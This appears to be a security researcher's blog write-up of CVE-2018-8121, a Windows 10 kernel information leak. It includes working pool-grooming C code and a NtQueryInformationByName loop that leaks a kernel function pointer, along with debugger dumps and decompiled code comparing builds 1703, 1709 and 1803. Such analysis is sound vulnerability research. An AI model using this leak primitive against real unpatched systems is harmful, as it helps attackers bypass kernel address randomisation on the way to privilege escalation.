NT infoleak CVE-2018-8121

The infoleak was mentionated at 44con’s 2018 talk “Subverting Direct X KernelFor Gaining Remote System”. The infoleak consists on get uninitialized memory in a userland buffer. When We reserve memory in the Nonpaged pool using nt!NtAllocateReserveObject function and free that pool chunk to alloc a new pool chunk, a nt function pointer remains in it. By calling nt!IoQueryInformationByName the whole content of that pool chunk could be read in a userland buffer.

0: kd> !pool ffffe781aa2c5150
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page ffffe781aa2c5150 region is Nonpaged pool
...
*FFFFE781AA2C50F0 size: c0 previous size: 10 (Allocated) *IoCo

When it has been freed:

0: kd> !pool ffffe781aa2c5150
Pool page ffffe781aa2c5150 region is Nonpaged pool
[...]
*FFFFE781AA2C50F0 size: c0 previous size: 10 (Free ) *IoCo
0: kd> dps ffffe781aa2c5150
[...]
ffffe781`aa2c51e0 fffff800`440dfa90 nt!PspIoMiniPacketCallbackRoutine

How I can do that? Alloc a pool chunk and free some, leave free chunks with 0xC0 size.

for (int i = 0; i < 0x7000; i++) {
  NtAllocateReserveObject(&phReserve1[i], NULL, IoCo);
}
for (int i = 0; i < 0x700; i++) {
  CloseHandle(phReserve1[i * 0x10]);
}
for (int i = 0; i < 0x7000; i++) {
  NtAllocateReserveObject(&phReserve2[i], NULL, IoCo);
}
for (int i = 0; i < 0x700; i++) {
  CloseHandle(phReserve2[i * 0x10]);
}

After, try to alloc in the same free pool chunk.

while(True) {
    char arg2[0x200] = { 0 };
    char arg3[0x200] = { 0 };
    OBJECT_ATTRIBUTES objattr = { 0 };

    NtQueryInformationByName(&objattr, (PIO_STATUS_BLOCK)arg2, arg3, 0xB0, (FILE_INFORMATION_CLASS)0x44); /* FileStatInformation */

    ULONG_PTR leak = *(ULONG_PTR *)(arg3 + 0x90)
    printf("pointer leak 0x%llx\n", leak);

    for (int i = 0; i < 0x30; i++) {
        NtAllocateReserveObject(&phReserve3[i], NULL, IoCo);
    }

    for (int i = 0; i < 0x30; i++) {
        CloseHandle(phReserve3[i]);
    }

    if( /* heuristic */){
        return leak;
    }
}

If it was succeed, the pool chunk was allocated in the same chunk. And we can got the nt!PspIoMiniPacketCallbackRoutine virtual kernel address in our user-land buffer.

1: kd> g
Breakpoint 1 hit
nt!IoQueryInformationByName+0x1b9:
fffff800`442b37d9 e87250b4ff call nt!IopVerifierExAllocatePoolWithQuota (fffff800`43df8850)
1: kd> p;r rax
rax=ffffe781aa2c5150
1: kd> dps ffffe781aa2c5150
[...]
ffffe781`aa2c51e0 fffff800`440dfa90 nt!PspIoMiniPacketCallbackRoutine
00000072C236FBE0 00 00 00 00 00 00 00 00 00 00 00 00 00 F8 FF FF .............øÿÿ
00000072C236FBF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000072C236FC00 03 00 09 0E 49 6F 20 20 69 E8 49 5C 8F E6 26 2A ....Io ièI\.æ&*
00000072C236FC10 48 00 00 00 00 00 00 00 1C 00 00 00 E8 03 00 00 H...........è...
00000072C236FC20 00 00 00 00 3C 00 00 00 00 00 00 00 00 00 00 00 ....<...........
00000072C236FC30 50 F7 F9 8C 6A 00 00 00 00 00 00 00 00 00 00 00 P÷ù.j...........
00000072C236FC40 3C 00 00 00 00 00 00 00 00 00 00 00 50 F7 F9 8C <...........P÷ù.
00000072C236FC50 6A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 j...............
00000072C236FC60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000072C236FC70 90 FA 0D 44 00 F8 FF FF A0 51 2C AA 81 E7 FF FF .ú.D.øÿÿ Q,ª.çÿÿ // <----
00000072C236FC80 00 00 00 00 00 00 00 00 78 00 65 00 00 00 00 00 ........x.e.....

How is possible the infoleak?

The nt!IopVerifierExAllocatePoolWithQuota_3 function alloc a pool chunk with a size controlled by us, calling nt!ObOpenObjectByNameEx fails, and the pool chunk is not sanitized. Finally the pool chunk content is copied to our user-land buffer, getting an nt address infoleak.

// nt!IoQueryInformationByName (win10 1709)
[...]

if ( (unsigned __int64)user_buffer <= 0x7FFFFFFEFFFFi64 )
    P = (PVOID)IopVerifierExAllocatePoolWithQuota_3(v13, _size);
else
    P = user_buffer;

v17 = __readgsqword(0x188u);
++*(_QWORD *)(v17 + 1464);
__incgsdword(0x2EE4u);

v18 = ObOpenObjectByNameEx((__int64)IoFileObjectType, v10, (__int64)Src, v11, 0i64);
IopCleanupExtraCreateParameters(&Dst);

if ( v22 == 0xBEAA0251 )
    v18 = v21;

v19 = P;
if ( user_buffer != P )
{
    memmove(user_buffer, P, (unsigned int)Size);
    ExFreePoolWithTag(v19, 0);
}

Does it work in all Windows 10 versions?

No. If we see the description in the Windows advisory page, the infoleak exists in Windows 10 1703, 1709 and 1803, but it doesn’t work in all mentioned versions.

Windows 10 1703

In this version something curious happens, in the function’s prologue. If the call is from user-mode only return an error code.

__int64 __fastcall IoQueryInformationByName(...
{
//[...]
PreviousMode = KeGetPreviousMode();
if ( PreviousMode ) /* KernelMode = 0, UserMode = 1*/
    return 0xC00000BBi64;

Windows 10 1709

It works perfectly! The reason was mentioned above.

Windows 10 1803

When nt!ObOpenObjectByNameEx function fails, in 1709 nothing happens, but in 1803 the behaviour is different, that function return an error code in int v19, for example 0xC000000D. So, verification (v19 >= 0) is not fulfilled, and the pool chunk is never copied to our user-land buffer.

      v19 = ObOpenObjectByNameEx((__int64)IoFileObjectType, arg1, 40i64, v11, 0i64);
      IopCleanupExtraCreateParameters(&Dst);
      if ( v24 == 0xBEAA0251 )
        v19 = v23;
      v20 = P;
      if ( user_buffer != P )
      {
        if ( v19 >= 0 )
          memmove(user_buffer, P, (unsigned int)Size);
        ExFreePoolWithTag(v20, 0);
      }

I tried to comply with the condition settting “correct” arguments.

RtlInitUnicodeString(&wzObjectName, L"\\DosDevices\\C:\\WINDOWS");
InitializeObjectAttributes(&objattr, &wzObjectName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, NULL);
NtQueryInformationByName(&objattr, (PIO_STATUS_BLOCK)arg2, arg3, 0xB0-2, (FILE_INFORMATION_CLASS)0x44); // FileStatInformation

And the call to nt!ObOpenObjectByNameEx fails too!, but v24 is being setted with 0xBEAA0251 const, then the condition is fulfilled (v24 == 0xBEAA0251) and v19 is setted to 0. How does this happen? I don’t know. I tried setting a hardware breakpoint on read/write but it never stopped when that value was written :(. If you know, please tell me. So, the pool chunk contents is copy to our user-land buffer! but it wasn’t satisfactory.

0000002C654FF840  14 06 00 00 00 00 01 00 16 29 0C B1 D8 D1 D3 01  .........).±ØÑÓ.  
0000002C654FF850  1E 1A ED 56 7A 11 D5 01 46 4F 3A 14 C8 BC D4 01  ..íVz.Õ.FO:.ȼÔ.  
0000002C654FF860  46 4F 3A 14 C8 BC D4 01 00 70 00 00 00 00 00 00  FO:.ȼÔ..p......  
0000002C654FF870  00 70 00 00 00 00 00 00 10 00 00 00 00 00 00 00  .p..............  
0000002C654FF880  01 00 00 00 A9 00 12 00 00 00 00 00 00 00 00 00  ....©...........  

Written by Nox